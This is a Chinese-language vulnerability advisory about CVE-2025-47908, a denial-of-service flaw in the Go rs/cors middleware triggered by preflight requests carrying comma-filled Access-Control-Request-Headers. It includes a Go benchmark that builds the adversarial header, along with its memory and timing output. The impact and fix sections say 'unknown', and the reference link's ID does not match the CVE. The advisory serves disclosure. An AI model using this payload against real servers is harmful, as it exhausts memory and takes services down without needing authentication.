CORS恶意前飞行请求拒绝服务CVE-2025-47908
Go CORS handler是一个Go语言实现的CORS ( Cross-Origin Resource Sharing )中间件,用于处理HTTP请求中的跨域资源共享功能。
一、基本情况
CORS是一个在Golang中实现跨源资源共享W3规范的net/http处理程序,该产品遵循 W3C 标准,允许服务器端控制不同源请求访问权限。
栋科技漏洞库关注到CORS在处理恶意的预检请求时,中间件会导致大量堆分配的漏洞,追踪为CVE-2025-47908,CVSS 3.1评分为7.5。
二、漏洞分析
CVE-2025-47908是Go CORS handler中间件中存在的漏洞,攻击者可利用该漏洞在中间件/服务器上产生不当的负载,试图造成拒绝服务。
具体而言,当处理恶意的预检请求时,该中间件会导致大量堆分配,这些请求包括一个访问控制请求头(ACRH)头,其值包含许多逗号。
Go CORS handler中间件以一种相当次优的方式处理飞行前请求的访问控制请求报头(ACRH)报头。
更具体地说,处理带有恶意的长ACRH头(或多个这样的头)的预检请求需要相对较长的时间,并且会导致大量的堆分配:
func BenchmarkPreflightAdversarialACRH(b *testing.B) {
resps := makeFakeResponses(b.N)
req, _ := http.NewRequest(http.MethodOptions, dummyEndpoint, nil)
req.Header.Add(headerOrigin, dummyOrigin)
req.Header.Add(headerACRM, http.MethodGet)
req.Header[headerACRH] = adversarialACRH
handler := Default().Handler(testHandler)
b.ReportAllocs()
b.ResetTimer()
for i := 0; i < b.N; i++ {
handler.ServeHTTP(resps[i], req)
}
}
var adversarialACRH []string
func init() { // populates adversarialACRH
n := int(math.Floor(math.Sqrt(http.DefaultMaxHeaderBytes)))
commas := strings.Repeat(",", n)
res := make([]string, n)
for i := range res {
res[i] = commas
}
adversarialACRH = res
}
$ go test -benchmem -run=^$ -bench ^BenchmarkPreflightAdversarialACRH$
oos: darwin
goarch: amd64
pkg: github.com/rs/cors
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
BenchmarkPreflightAdversarialACRH-8 9 127347568 ns/op 121176114 B/op 1053 allocs/op
PASS
ok github.com/rs/cors 3.628s
这需要127毫秒的执行时间和116兆字节的堆分配来处理一个1兆字节的恶意飞行前请求!
攻击者可以滥用这种行为,在中间件/服务器上产生不适当的负载,试图造成拒绝服务。
安全人员用rs/cors创建了一个为CORS配置的小型服务器并在有限内存Docker容器中运行;
并发发送一定数量恶意预检请求就足以让容器耗尽内存并死亡。
此外,因为CORS中间件发生在认证之前,攻击者甚至不需要认证。
当然,大多数WAF可能会放弃那些恶意的预检请求,但不是所有的服务器都在WAF后面。
三、影响范围
未知
四、修复建议
未知
五、参考链接
[lv][https://pkg.go.dev/vuln/GO-2024-2883/lv]